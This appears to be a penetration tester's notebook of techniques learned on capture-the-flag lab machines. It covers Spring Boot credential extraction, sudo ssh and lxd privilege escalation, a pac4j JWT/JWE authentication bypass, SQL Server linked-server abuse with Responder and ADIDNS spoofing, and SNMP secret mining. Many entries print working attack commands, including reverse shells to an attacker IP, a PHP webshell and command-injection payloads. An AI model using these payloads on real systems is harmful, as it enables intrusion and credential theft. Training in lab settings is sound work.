ls -la /app/  # or find / -name "*.jar" 2>/dev/null

# 2. Extract it
unzip cloudhosting-0.0.1.jar -d /tmp/extracted

# 3. Find credentials
grep -R password /tmp/extracted 2>/dev/null
cat /tmp/extracted/BOOT-INF/classes/application.properties

# 4. Typical findings:
# spring.datasource.url=jdbc:postgresql://localhost:5432/dbname
# spring.datasource.username=postgres
# spring.datasource.password=SecretPassword

# 5. Connect to the database
psql -h localhost -U postgres
# \list → list databases
# \c dbname → connect
# \d+ → list tables
# SELECT * FROM users;

Why - Spring Boot bundles everything in a single JAR — config files, dependencies, templates - application.properties (or .yml) almost always contains database credentials - Internal databases (PostgreSQL, MySQL on localhost) are not visible from nmap but contain user hashes - Cracking those hashes → password reuse → lateral movement to real system users

Flags/Notes - Check ss -tlnp to find internal services (PostgreSQL default: 5432, MySQL: 3306) - psql commands: \list (databases), \c dbname (connect), \d+ (tables), \d+ tablename (schema) - bcrypt hashes ($2a$, $2y$) → john --wordlist=rockyou.txt or hashcat -m 3200 - Web app usernames ≠ system usernames — always check /home/ and /etc/passwd for real users - Password reuse is extremely common — always try cracked web/DB passwords against SSH system users - Learned from: HTB CozyHosting


Linux Privilege Escalation — Sudo SSH (GTFOBins)

Command

# Check sudo permissions
sudo -l
# If output shows: (root) /usr/bin/ssh *

# Escalate to root via ProxyCommand
sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x

Why - SSH's -o ProxyCommand option runs a command before establishing the connection - When SSH runs as root (via sudo), the ProxyCommand shell inherits root privileges - The dummy hostname x never resolves — ProxyCommand fires first

Flags/Notes - sudo ssh = runs SSH as root (must be allowed by sudo policy) - -o ProxyCommand='...' = SSH option meant for proxy setup, abused to spawn a shell - ;/bin/sh 0<&2 1>&2 = spawns shell with stdin/stdout connected to terminal - x = dummy hostname (SSH never actually connects) - DON'T FORGET sudo — without it you get a shell as your current user, not root - Works for any (root) /usr/bin/ssh * sudo entry — the * wildcard allows any arguments - Reference: GTFOBins SSH - Learned from: HTB CozyHosting


JWT/JWE Auth Bypass — CVE-2026-29000 (pac4j-jwt)

Command

# 1. Identify: check X-Powered-By header
curl -s -D- http://TARGET:8080/ | grep -i powered

# 2. Read client-side JS for auth flow details
curl -s http://TARGET:8080/static/js/app.js
# Look for: JWKS endpoint, claims schema, role values, encryption algorithms

# 3. Fetch RSA public key from JWKS endpoint (path from app.js, NOT always .well-known)
curl -s http://TARGET:8080/api/auth/jwks | jq .

# 4. Craft unsigned JWT at jwt.io:
#    Header: {"alg": "none", "typ": "JWT"}
#    Payload: {"sub": "admin", "role": "ROLE_ADMIN", "iss": "<from app.js>", "iat": <now>, "exp": <future>}

# 5. JWE-encrypt at authgear.com/tools/jwt-jwe-debugger:
#    Algorithm: RSA-OAEP-256, Encryption: A128GCM (match what app.js says)
#    Public key: JWK from step 3 (strip {"keys":[...]} wrapper)

# 6. Inject in browser DevTools → Storage → Session Storage:
#    Key: auth_token  Value: <JWE output>
#    Refresh → authenticated

# 7. Or use via curl:
curl -s http://TARGET/api/endpoint -H "Authorization: Bearer <JWE>" | jq .

Why - pac4j-jwt < 6.3.3 (also 5.x < 5.7.9, 4.x < 4.5.9) has CVE-2026-29000: after JWE decryption, it never validates the inner JWT signature - Wrapping an unsigned JWT (alg: none) inside JWE encrypted with the server's public key bypasses all authentication - Only need the RSA public key — which is designed to be public

Flags/Notes - Always read app.js first — it typically documents encryption algorithms, claims schema, JWKS path, role values, and API endpoints. This saves hours of fuzzing. - JWKS endpoint may NOT be at /.well-known/jwks.json — check client-side JS for the actual path - iss claim must match exactly what the server expects (found in app.js comments) - Role values are case-sensitive and often prefixed (e.g., ROLE_ADMIN not admin) - Use epochconverter.com for iat/exp timestamps — exp must be in the future - Token injection: sessionStorage.setItem('auth_token', '<JWE>') in console, or set in Storage tab - After admin access: enumerate /api/users (usernames), /api/settings (secrets, infrastructure paths) — these often leak SSH passwords and internal config - Shell expansion gotcha: Passwords containing $$ get expanded to PID in double quotes. Always single-quote passwords or type manually at prompt. - Learned from: HTB Principal — X-Powered-By header → app.js → JWKS → forge admin token → settings leaked SSH password


Linux Privilege Escalation — SSH CA Certificate Signing

Command

# 1. Check group memberships for deploy/automation groups
id
# Example: uid=1001(svc-deploy) gid=1001(svc-deploy) groups=1001(svc-deploy),1002(deployers)

# 2. Find readable CA keys
find / -name "ca" -o -name "ca.pub" -o -name "*ca_key*" 2>/dev/null
ls -la /opt/*/ssh/ /etc/ssh/ca* 2>/dev/null

# 3. Verify sshd trusts this CA
grep -i "TrustedUserCA" /etc/ssh/sshd_config

# 4. Generate a new keypair (in /tmp if current dir not writable)
cd /tmp
ssh-keygen -t ed25519 -f root-ssh -N ""

# 5. Sign the public key as root principal
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root root-ssh.pub
# Output: "Signed user key root-ssh-cert.pub: id "pwned" serial 0 for root valid forever"

# 6. SSH as root
ssh -i root-ssh root@localhost

Why - SSH certificate authentication (TrustedUserCAKeys) trusts any cert signed by the CA - If you can read the CA private key, you can sign a cert for any principal — including root - This bypasses PermitRootLogin prohibit-password because cert auth isn't password auth - Service accounts in deployment groups (deployers, automation, devops) commonly have CA key access

Flags/Notes - -s /path/to/ca — sign using this CA private key (you only need read access) - -I pwned — certificate identity (arbitrary label, appears in auth logs) - -n root — the principal name — tells sshd "this cert authenticates as root" - -N "" — empty passphrase on generated keypair (skips prompt) - -t ed25519 — modern, fast key type (also works with -t rsa) - Write to /tmp if the CA directory isn't writable — you don't need to be in the same dir - Check AuthorizedPrincipals in sshd_config — may restrict valid principals per user - If root doesn't work, try -n <other-user> for users in sudoers or with elevated access - Detection clue: TrustedUserCAKeys in sshd_config + readable CA key = instant root - Learned from: HTB Principal — svc-deploy in deployers group → read CA key → sign cert for root → root shell


SMB Guest Mapping Discovery

Command

# When null auth lists shares as ACCESS_DENIED, try ANY username with empty password
nxc smb $IP -u 'anything_unknown' -p '' --shares
nxc smb $IP -u 'anything_unknown' -p '' -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760

Why - On hosts with Guest enabled, unknown users get mapped to the Guest account - Guest auth often reveals hidden shares (named with $) that null auth doesn't surface - Default spider_plus size cap is 50KB; many interesting files (binaries, PDBs, DBs) get filtered

Flags/Notes - Look for [+] domain\anyuser: (Guest) in nxc output — confirms Guest mapping is active - Increase MAX_FILE_SIZE (bytes) to capture larger binaries — 10MB / 100MB usually sufficient - Notable misconfig on Windows Server 2022+ DCs since Guest should be disabled by default there - Pattern: HTB Overwatch — nxc smb -u theo -p '' → Guest → READ on software$ → overwatch.exe + .pdb

.NET Binary Decompilation Workflow

Command

# Install once (Kali Debian/Linux)
sudo apt-get install -y dotnet-sdk-10.0 aspnetcore-runtime-10.0
dotnet tool install -g ilspycmd
export PATH="$PATH:$HOME/.dotnet/tools"

# Decompile to C#
ilspycmd ./service.exe > service_decompiled.cs
wc -l service_decompiled.cs

# Find connection strings / credentials / sinks
grep -iE 'password|pwd|secret|connectionstring|user id=|server=' service_decompiled.cs
grep -iE 'Process.Start|cmd.exe|powershell|Runspace|Invoke-Expression|RunspaceFactory' service_decompiled.cs

# PDB source-file paths leak dev environment
strings ./service.pdb | grep -oE '[A-Za-z]:\\[^"]+\.cs' | sort -u

Why - .NET binaries decompile to near-source C# with ilspycmd (or dnSpy on Windows GUI) - PDBs restore method/variable names and leak the dev's machine paths - Connection strings, hardcoded credentials, and command-injection sinks all live in plain view after decompilation - Read the decompile TWICE: once for foothold credentials, once after privesc gets stuck

Flags/Notes - strings alone misses UTF-16 / resource-embedded strings — always decompile, don't just strings - .pdb next to .exe is a gift; treat as half the source code - Re-grep for injection sinks (Process.Start, Invoke) after every shell upgrade — privesc primitives are often visible from foothold-stage loot but get walked past - Lesson from: HTB Overwatch — KillProcess() was visible at foothold but ignored for 2 weeks; the binary held both the connection string (foothold) AND the privesc sink

impacket-mssqlclient Scripting

Command

#!/bin/bash
set -euo pipefail
source ~/.ip
USER='domain/user'; PASS='pass'; HOST='dc.fqdn'; PORT=1433
LOG="logs/mssql_$(date +%Y%m%d_%H%M%S).log"
mkdir -p logs

impacket-mssqlclient "${USER}:${PASS}@${HOST}" -port "${PORT}" -windows-auth <<'SQL' | tee "${LOG}"
SELECT @@version;
SELECT IS_SRVROLEMEMBER('sysadmin') AS sa, IS_SRVROLEMEMBER('securityadmin') AS sec;
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN ('S','U','G');
SELECT name, is_data_access_enabled, is_rpc_out_enabled, is_remote_login_enabled FROM sys.servers WHERE is_linked=1;
SELECT * FROM sys.linked_logins;
SELECT name, is_trustworthy_on FROM sys.databases;
USE target_db;
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE';
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%pass%' OR COLUMN_NAME LIKE '%hash%' OR COLUMN_NAME LIKE '%secret%';
exit
SQL

Why - Scripted enum is repeatable and timestamped; one source of truth per machine - Heredoc with quoted terminator (<<'SQL') prevents bash from expanding SQL @@version / $column syntax - tee captures output for evidence + later grep

Flags/Notes - impacket-mssqlclient is line-oriented. Each line is one SQL statement. Put every statement on ONE line — multi-line statements split per newline and error per fragment. Or use -file <queries.sql>. - Use -port (long form), not -p (which is the password flag on other impacket scripts) - -windows-auth required for domain users (overwatch/sqlsvc); omit for SQL logins (sa, custom SQL accounts) - sys.linked_logins returning empty does NOT mean no stored creds — the credential column is filtered out for non-sysadmins. Always pair with rogue-listener attack if you need to know - Pattern from: HTB Overwatch enum script iterations (db_enum*.sh)

SQL Server Linked Server Abuse + Rogue Listener

Command

-- 1. Find linked servers
SELECT name, is_data_access_enabled, is_rpc_out_enabled FROM sys.servers WHERE is_linked=1;

-- 2. Query through the link (if data access enabled)
SELECT * FROM OPENQUERY([LINKED], 'SELECT @@version, SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')');

-- 3. RPC out (more powerful — arbitrary SQL on remote)
EXEC ('SELECT @@version') AT [LINKED];
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED];

# 4. If linked-server host doesn't resolve, set up rogue listener
sudo responder -I tun0 -wv   # has built-in MSSQL listener; SQL=On default

# 5. Cross-subnet attacker? Use ADIDNS instead of LLMNR/NBT-NS
dnstool -u 'DOMAIN\user' -p 'pass' --action add --record 'LINKED_HOSTNAME' --data <YOUR_IP> <DC_IP>

# 6. Re-fire the OPENQUERY → connection lands on you → Responder captures credential

Why - Linked servers configured with is_data_access_enabled=1 and is_rpc_out_enabled=1 are a full pivot surface - Linked-server credentials sent in CLEARTEXT over TDS when SQL Auth is used and remote doesn't present validated cert — Responder catches plaintext, no cracking needed - LLMNR/NBT-NS poisoning only works same-subnet; ADIDNS is the cross-subnet equivalent

Flags/Notes - Responder banner shows MSSQL server [ON] by default — built-in fake MSSQL listener catches TDS login - For Kerberos passthrough links: you get NetNTLMv2; for SQL Auth links: you get cleartext - Even an unreachable linked host is exploitable — that's the cue, not a dead end - Pattern from: HTB Overwatch — SQL07 unreachable, all link flags enabled, ADIDNS spoof → Responder → sqlmgmt:bIhBbzMMnB82yx cleartext

ADIDNS Dynamic Record Creation

Command

# Verify auth (read-only)
dnstool -u 'DOMAIN\user' -p 'pass' --record '@' --action query 'domain.htb'

# Add A record
dnstool -u 'DOMAIN\user' -p 'pass' --action add --record 'TARGETHOST' --data <ATTACKER_IP> <DC_IP>

# Verify from your box
dig @<DC_IP> TARGETHOST.domain.htb +short

# Remove (post-engagement cleanup)
dnstool -u 'DOMAIN\user' -p 'pass' --action remove --record 'TARGETHOST' --data <ATTACKER_IP> <DC_IP>

Why - Any authenticated domain user can add A records for unused names in AD-integrated DNS zones (Secure Dynamic Updates over GSS-TSIG) - Cross-subnet equivalent of LLMNR/NBT-NS poisoning — works when the attacker can't reach the victim's broadcast domain - Service accounts denied SMB/WinRM/LDAP logon often CAN still bind LDAP for DNS operations — SeNetworkLogonRight ≠ LDAP bind right

Flags/Notes - dnstool lives at /usr/share/krbrelayx/dnstool.py on Kali (installed via apt as krbrelayx) - --record is unqualified; dnstool appends the zone - --data is the A record value (IP) - Positional <DC_IP> is the LDAP server (DC) - Replication delay can be 60–180 seconds — wait between create and query - Only works for NEW names; modifying existing records requires write access to that AD object - Pattern from: HTB Overwatch — sqlsvc denied SMB/WinRM but could bind LDAP via dnstool to register SQL07 → attacker IP

WCF / SOAP Service Command Injection

Command

# From any Windows shell with localhost access to the service
$proxy = New-WebServiceProxy -Uri "http://localhost:<port>/<ServiceName>?wsdl"

# List methods to find the injectable sink
$proxy | Get-Member | Where-Object { $_.MemberType -eq 'Method' }

# Inject (PowerShell sink — most common; cmd sink uses & instead of ;)
$proxy.VulnerableMethod('x; whoami #')
$proxy.VulnerableMethod('x; type C:\Users\Administrator\Desktop\root.txt #')

# Raw SOAP fallback when New-WebServiceProxy fails
$soap = '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><MethodName xmlns="http://tempuri.org/"><paramName>x; whoami #</paramName></MethodName></s:Body></s:Envelope>'
(iwr 'http://localhost:<port>/<ServiceName>/' -Method POST -ContentType 'text/xml' -Headers @{'SOAPAction'='"http://tempuri.org/IServiceContract/MethodName"'} -Body $soap -UseBasicParsing).Content

Why - Self-hosted WCF services often run as LocalSystem (registered via NSSM) - Unsafe string concatenation in service methods → injection via ; (PowerShell) or & (cmd) + #/rem to neutralize trailing args - Methods that hosts via RunspaceFactory.CreateRunspace().Invoke() often return the captured output as a string → direct readback

Flags/Notes - 0.0.0.0:port LISTENING ≠ externally reachable — Windows Firewall often blocks external while leaving loopback open - PID 4 owning the port = HTTP.sys kernel listener (URL reservation). Service doesn't appear in Get-Service by port; check netsh http show urlacl - ?wsdl requires httpGetEnabled="True" in config; fall back to /mex endpoint or raw SOAP otherwise - includeExceptionDetailInFaults="True" = full .NET stack traces leak on errored injections (bonus info disclosure) - SOAPAction header MUST be quoted with internal double-quotes — WCF strict about this: '"http://tempuri.org/IService/Method"' - Pattern from: HTB Overwatch — overwatch.exe KillProcess("Stop-Process -Name " + processName + " -Force") → $proxy.KillProcess('x; whoami #') → NT AUTHORITY\SYSTEM

Service-Account Logon-Right Scoping

Command

# Test the SAME credential across ALL protocols — never assume scope from name
impacket-mssqlclient domain/user:'pass'@$IP -port <p> -windows-auth   # Windows auth
impacket-mssqlclient user:'pass'@$IP -port <p>                        # SQL auth
nxc smb   $IP -u user -p 'pass'
nxc winrm $IP -u user -p 'pass'
nxc ldap  $IP -u user -p 'pass'
# Also try LDAP simple bind directly (sometimes works when nxc fails)
ldapsearch -x -H ldap://$IP -D '[email protected]' -w 'pass' -b 'DC=domain,DC=htb' -s base

Why - Windows logon rights are protocol-scoped: SeServiceLogonRight, SeNetworkLogonRight, SeInteractiveLogonRight, etc. - A service account often has ONLY SeServiceLogonRight (for its own service) and is explicitly denied SeNetworkLogonRight → SMB/WinRM/LDAP all fail - But LDAP simple bind via a tool that doesn't trigger SeNetworkLogonRight checks (e.g., dnstool.py) can still succeed - A captured credential's "real" access scope is only known after testing each protocol

Flags/Notes - nxc green [+] without (Pwn3d!) = auth works but no admin - nxc green [+] (Pwn3d!) = local admin or PSRemoting rights - "service account named X = scoped to X service" is a HINT, not a rule — always test broadly - Credentials captured via one protocol (e.g., MSSQL rogue listener) frequently work across SMB/WinRM/LDAP — they're domain accounts that were re-used as SQL logins - Pattern from: HTB Overwatch — sqlsvc worked for MSSQL Windows auth + LDAP bind (dnstool) but failed SMB/WinRM/nxc ldap; sqlmgmt failed SQL auth but worked for everything Windows including WinRM (Pwn3d!)

Apache Exhibitor (ZooKeeper) — java.env Config RCE

Command

# Identify: ZooKeeper on 2181 + an Exhibitor UI (often via an nginx 301 redirect)
curl -s http://$IP:8081/                                  # -> 301 /exhibitor/v1/ui/index.html on :8080
curl -s http://$IP:8080/exhibitor/v1/ui/index.html | head

# Exploit in the browser:
#   Config tab -> make config EDITABLE -> paste into the "java.env" field:
nohup bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/3306 0>&1' &
#   then COMMIT the config and RESTART the ZooKeeper instance
rlwrap nc -lnvp 3306                                       # catch the shell (charles)

Why this step - Exhibitor is a web supervisor that restarts the ZooKeeper JVM. ZooKeeper's zkEnv.sh sources java.env as a shell script on startup → anything you put in that field runs as the service user when the instance restarts.

What success looks like - Reverse shell as the ZooKeeper/Exhibitor user (charles on Pelican).

Flags/Notes / If it fails - Use the Config tab, NOT the Explorer tab. Explorer only edits ZooKeeper znodes (data, no code execution). The RCE is the java.env field on Config. - If config is read-only, flip the toggle from znode/S3-backed config to local editing. If commit doesn't auto-restart, use the explicit Restart control. - Pick an egress-friendly listener port (80/443/3306). - Lesson: when searchsploit against every service banner (openssh, zookeeper, jetty, nginx) comes up empty, pivot to the stack's management/admin UI — the bug lives in a config editor, not the daemon version. - Pattern from: PG Pelican.

Linux Privilege Escalation — sudo gcore (dump a root process for its password)

Command

sudo -l                              # (root) NOPASSWD: /usr/bin/gcore
ps -ef --forest                      # find the NON-STANDARD root process
sudo gcore -o /tmp/ps <PID>          # dump live memory of that root PID -> /tmp/ps.<PID>
strings /tmp/ps.<PID> | grep -iE 'pass|pwd|secret|cred|key|root|<user>'
su -                                 # use the recovered password

Why this step - A sudo-able memory-dump tool (gcore/gdb/procdump) as root lets you read the cleartext memory of any process — including root daemons that cache passwords.

What success looks like - A plaintext credential in the strings output (Pelican: 001 Password: root: ClogKingpinInning731 from /usr/bin/password-store), usable with su -.

Flags/Notes / If it fails - Litmus test for the target: "does this process plausibly hold a secret?" Skip kernel threads ([brackets]), stock daemons, and busy-loops (e.g. a while true; do chown ...; done cron). Target the custom, non-standard root binary (password-store, authenticator, db/auth daemons). - gcore does NOT kill the process. Output is /tmp/ps.<PID>. - If empty/garbled: strings/file the binary itself to learn the secret format; widen the grep (box name, usernames, BEGIN for keys); dump repeatedly or use pspy if the secret is only in memory briefly. - Pattern from: PG Pelican.

Linux Privilege Escalation — lxd / lxc group (mount host / as root)

Command

id                                                # look for: groups=...,lxd (or lxc)
# ON ATTACK BOX — build Alpine image (target has no internet):
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine      # -> alpine-v3.xx-x86_64-*.tar.gz
python3 -m http.server 8000
# ON TARGET (lxd-group user):
lxc image import ./alpine-*.tar.gz --alias myimage
lxd init                                          # first run only — accept ALL defaults
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer && lxc exec mycontainer /bin/sh
cat /mnt/root/root/root.txt                       # inside container = root; host / at /mnt/root

Why this step - The lxd daemon runs as root; any lxd/lxc group member can launch a privileged container and bind-mount the host / into it. Container root == host root over that mount. It's intended LXD behaviour, so it works on patched boxes. - Group membership in lxd, docker, disk, or adm is effectively root — always check id first before chasing harder paths.

What success looks like - lxc exec drops you to ~ # as root; the host filesystem is readable/writable at /mnt/root (read root.txt, or plant SUID bash / SSH key for a host root shell).

Flags/Notes / If it fails - security.privileged=true disables UID remapping (container root = host root). - source=/ ... recursive=true mounts the entire host fs, not a subdir. - lxc missing → try /snap/bin/lxc. Daemon perms denied → newgrp lxd to activate the group in the current shell. lxc init storage error → run lxd init first. - Build warnings tar: Ignoring unknown extended header keyword APK-TOOLS.checksum.SHA1 are harmless. - Pattern from: HTB Tabby.

SNMP Enumeration (UDP/161) — Community Brute + Secret Mining

Command

# 1. Find the community string (default 'public' often disabled)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <IP>
./snmpbrute.py -t <IP>                               # → e.g. community "internal"

# 2. Full walk — save it, grep offline
snmpwalk -v2c -c <community> <IP> | tee snmpwalk.txt

# 3. Mine for secrets (process args are the jackpot)
grep -iE 'login|\.py|\.sh|pass|user|cred|key' snmpwalk.txt
#   iso...25.4.2.1.5.<n> = STRING: "/usr/local/bin/login.py <PASSWORD>"
#   ^ hrSWRunParameters = command-line args of running procs = any secret passed on the CLI

# 4. POST-FOOTHOLD: read the config for the cleartext SNMPv3 key
cat /etc/snmp/snmpd.conf
#   createUser bootstrap MD5 SuperSecurePassword123__ DES   <-- cleartext, often reused as a Linux pw
#   com2sec AllUser default internal                        <-- the community string

Why - SNMP is a two-for-one credential store: (1) secrets leaked as process CLI arguments remotely (no host access), and (2) the cleartext SNMPv3 auth passphrase in snmpd.conf after you get a shell. - Any secret passed as a command-line arg anywhere is exposed via /proc/<pid>/cmdline locally and SNMP host-resources MIB remotely.

Flags/Notes - -v2c -c <community>: v2c with community; strings are case-sensitive. Default public is usually disabled — brute it. - Distinguish the leaks: a password in login.py <arg> may be an app/API password (NOT a Linux login) — try it against the web app first, then spray. The snmpd.conf createUser passphrase is the one that tends to be reused as a Linux password.

If it fails - public rejected → snmpbrute.py / onesixtyone. Walk nearly empty → restricted view in snmpd.conf; try -v1 or specific OIDs. - Timeout → it's UDP: -r 1 -t 5, confirm with nmap -sU -p161.

  • Pattern from: HTB Mentor — community internal → walk leaked admin API password (login.py <pw>) → later snmpd.conf passphrase = james's Linux password → root.

Command Injection Deadlocks a Single-Worker Web App

Command

# SYMPTOM: Burp AND your nc listener both hang; the vulnerable app/vhost times out on
# EVERY path while a different service on the box (Apache front-end) answers instantly.

# DIAGNOSE — healthy front-end + wedged app vhost = a pinned worker, not a network issue:
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" http://TARGET/            # fast
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" -H "Host: api.TARGET" http://IP/docs  # timeout

# FIX — reset the box, then DETACH the payload so the handler returns immediately:
;setsid sh -c 'python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER\",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];subprocess.call([\"/bin/sh\",\"-i\"])"' &

Why - A blocking reverse shell injected into a request handler never returns while the shell lives. A single uvicorn/Flask/dev-server worker = the whole app freezes for all later requests. Killing your local nc orphans the child → worker stays pinned → only a box reset recovers it. - setsid … & (or nohup … &, or a double-forking payload) returns an instant 2xx, frees the worker, keeps the app alive, and your shell still lands.

Flags/Notes - Always confirm callback = live tun0 (ip -4 addr show tun0). A stale VPN IP = listener never fires even though the RCE worked. - A bad/expired JWT returns fast (401/403), it does NOT hang — so a hang is the worker-lock, not auth. An instant 401 after reset = re-login for a fresh token.

If it fails - Still hangs after reset → payload wasn't actually detached (shell metachar ate the &); URL-encode and re-check. Or wrong worker model — try a fire-and-forget payload that writes an SSH key instead of holding a socket.

  • Pattern from: HTB Mentor — FastAPI /admin/backup injection; a blocking pty.spawn payload froze api.mentorquotes.htb entirely while Apache stayed up.

Decoding Transfer/Exec Failures: not found vs Permission denied

Command

file /usr/bin/chisel     # verify STATIC before serving: "ELF ... statically linked"
wget http://ATTACKER/chisel -O chisel    # rename off shell metachars like '!'

Why — two errors on a file that clearly exists mean different things:

Error Meaning Fix
Permission denied no exec bit (or noexec mount like /tmp) chmod +x, or run from another dir
not found (file exists) missing interpreter/loader: bad shebang, or dynamic linker/libc absent static build, or correct interpreter

Flags/Notes - not found on an existing binary = (a) #!/bin/bash script on a box with no bash (Alpine → /bin/sh), or (b) dynamically-linked ELF (musl vs glibc mismatch) → transfer a static build. - Installer scripts ≠ binaries: i.jpillora.com/chisel! serves a ~7 KB bash installer for curl | bash, not the tool. The real static chisel is usually already at /usr/bin/chisel on Kali — serve that. - Avoid filenames with ! — history expansion in bash/zsh causes endless quoting pain.

  • Pattern from: HTB Mentor — hours lost running the chisel! installer script inside an Alpine container (not found = no bash).

Evidence capture

Command - | tee logs/<name>.txt for readable output - > logs/<name>.txt 2>&1 for large output

Why - Keep clean artifacts for writeups and proof

Flags/Notes - Save outputs to logs/ and loot to loot/ - Note flag paths and commands used

Reading Errors: "Alarming Message" vs Actual Failure

Why — the most expensive habit in this work is treating a scary-looking message as a dead end and moving on. Several common errors mean you already succeeded. Read the text literally before you branch.

Message What it actually means
Blank page from a webshell PHP fired — an exit; suppressed the rest of the page. The command failed, not the delivery. (A full styled 404 page = PHP never fired)
ERROR 1045 (28000) ... (using password: NO) No password was sent at all — you omitted -p
ERROR 1045 (28000) ... (using password: YES) Password sent, wrong
ERROR 1044 (42000) ... to database 'X' Auth SUCCEEDED. 1045 = authentication (who are you); 1044 = authorization (what may you touch). You cannot fail 1044 without passing 1045
GTFOBins "Unprivileged" tag Describes the trigger, not the resulting privilege. You supply the sudo
Permission denied mid-exploit, but it continues Often cosmetic — a privileged process failing to write back to a user-owned file. Check id before assuming failure
Binary exists but not found Missing interpreter/loader — bad shebang or dynamic libc mismatch. Not a path problem

Diagnostic rule — distinguish delivery failed from payload failed:

# webshell returning nothing? fold stderr into stdout so you can SEE the error
curl -s -G 'http://TARGET/bogus404' --data-urlencode 'cmd=id 2>&1'

Flags/Notes - 2>&1 — redirect stderr into stdout. system() only pipes stdout into the response body, so shell syntax errors are invisible without this. Reach for it every time a webshell returns blank

  • Pattern from: HTB Devvortex — hit four times on one box (blank page, 1044, GTFOBins "Unprivileged", apport Permission denied).

Three Parsing Layers: bash → URL/protocol → remote interpreter

Why — most "the exploit doesn't work" moments are not the exploit. Your input passes through three parsers and each gets a bite. When something behaves oddly, work out which layer ate it before rewriting the payload.

Layer Eats Fix
Local shell (bash/zsh) $ ! # & * quotes Single-quote everything. "$2y$10$..." expands $2/$1/$0 to empty and silently corrupts a bcrypt hash
URL / protocol & ? # space + curl -G --data-urlencode — let curl encode it
Remote interpreter sh vs bash builtins bash -c "..." to wrap redirections

Command

# hash to file — single quotes mandatory, then VERIFY
echo -n '$2y$10$IT4k5...' > loot/target.hash
cat loot/target.hash          # confirm $2y$10$ survived

# payload with & > and quotes — let curl encode it
curl -s -G 'http://TARGET/bogus404' \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER/9001 0>&1"'

Flags/Notes - Shell quotes around a curl URL are shell syntax, not part of the URL. Copy-pasting 'http://...?cmd=id' into a browser sends a trailing ' to the target → unterminated quote → blank page - mysql -u user -p <password> — the space makes the next token the database name. -p takes an attached optional argument. Prefer bare -p and type it at the prompt (also keeps it out of ps aux and .bash_history) - Always cat a hash back after writing it. Two seconds vs an hour debugging "no hashes loaded"

  • Pattern from: HTB Devvortex — trailing quote in browser, -p spacing, $ expansion.

Slow-Hash Triage: crack, or find another path?

Command

hashcat -m 3200 loot/target.hash /usr/share/wordlists/rockyou.txt   # bcrypt $2*$
hashcat --show -m 3200 loot/target.hash                            # re-read from potfile
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt loot/target.hash

Why — bcrypt/scrypt/argon2 are deliberately slow. Before committing, do the arithmetic from hashcat's own status line:

keyspace ÷ H/s = worst-case seconds

Real numbers from a CPU-only run (PoCL, i5-8600K), bcrypt cost 10: - 64 H/s, rockyou = 14,344,385 candidates → ~62 hours for a full pass - Cracked in 21 seconds — but only because the password sat at candidate ~1,400, the top 0.01% of the list. That is luck, not capability

If the math reads "days," stop and find another path.

Flags/Notes - -m 3200 bcrypt · -m 1800 sha512crypt · -m 500 md5crypt · -m 22100 BitLocker - Wrong mode → "no hashes loaded" or a silent zero-result run - Cost factor is in the hash: $2y$10$ = 2^10 rounds. 10 is tractable, 12+ hurts - Cracked hashes cache in ~/.local/share/hashcat/hashcat.potfile permanently - Only crack what buys you something. If you already hold the cleartext for an account, its hash is worthless — don't spend the cycles

If it fails - Password reuse first — test creds you already have against every service - Check for an SSH private key, which makes cracking unnecessary - Rule-based attack (-r best64.rule) before jumping to a larger wordlist

  • Pattern from: HTB Devvortex — logan's bcrypt, tequieromucho.

Virtual Host Fuzzing (when the visible site is a dead end)

Command

# 1) baseline the catch-all size for an unknown Host
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u http://TARGET.htb -H 'Host: FUZZ.TARGET.htb'

# 2) filter that exact SIZE — not the status code
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u http://TARGET.htb -H 'Host: FUZZ.TARGET.htb' -fs 154 -t 50

Why — a vhost is not a subdirectory. Same IP, same port, different Host: header, entirely different application. -u http://target/FUZZ will never find one. If only 80/443 are open and directory brute-force on the apex is dry, the real app is probably behind another hostname.

Flags/Notes - Filter on size, not status code. Nginx/Apache return a uniform catch-all (e.g. 302, 154 bytes) for every unknown vhost. -fc 302 over-filters and kills the real hit; -fs 154 removes exactly the noise signature - -fw / -fl — word/line filters when sizes vary slightly - Use a DNS wordlist (Discovery/DNS/), not Web-Content/ — guessing hostnames, not paths - Add hits to /etc/hosts, then re-run the entire web methodology against the new vhost — robots.txt, version disclosure, directory brute-force

If it fails - Check the TLS certificate SANs and any Location: redirect headers for hostnames - Grep page source and JS bundles for hardcoded hostnames

  • Pattern from: HTB Devvortex — apex was static; dev.devvortex.htb held Joomla.

CMS Admin Panel ⇒ Assume RCE (template/theme file editor)

Why — PHP CMS platforms render templates as executable PHP and ship a template file editor in the admin UI by design. Write access to a .php file on a PHP-executing server is code execution. This is not a CVE — it is the application working as documented. The actual vulnerability is whatever got you the admin password.

Applies to: Joomla (Site Templates), WordPress (Appearance → Theme Editor), Drupal, Magento, phpMyAdmin.

Command — Joomla 4.x

System → Site Templates → <Template> Details and Files → error.php
   NOT "Site Template STYLES" (config only, no editor)
   Direct: /administrator/index.php?option=com_templates&view=templates
<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); exit; } ?>
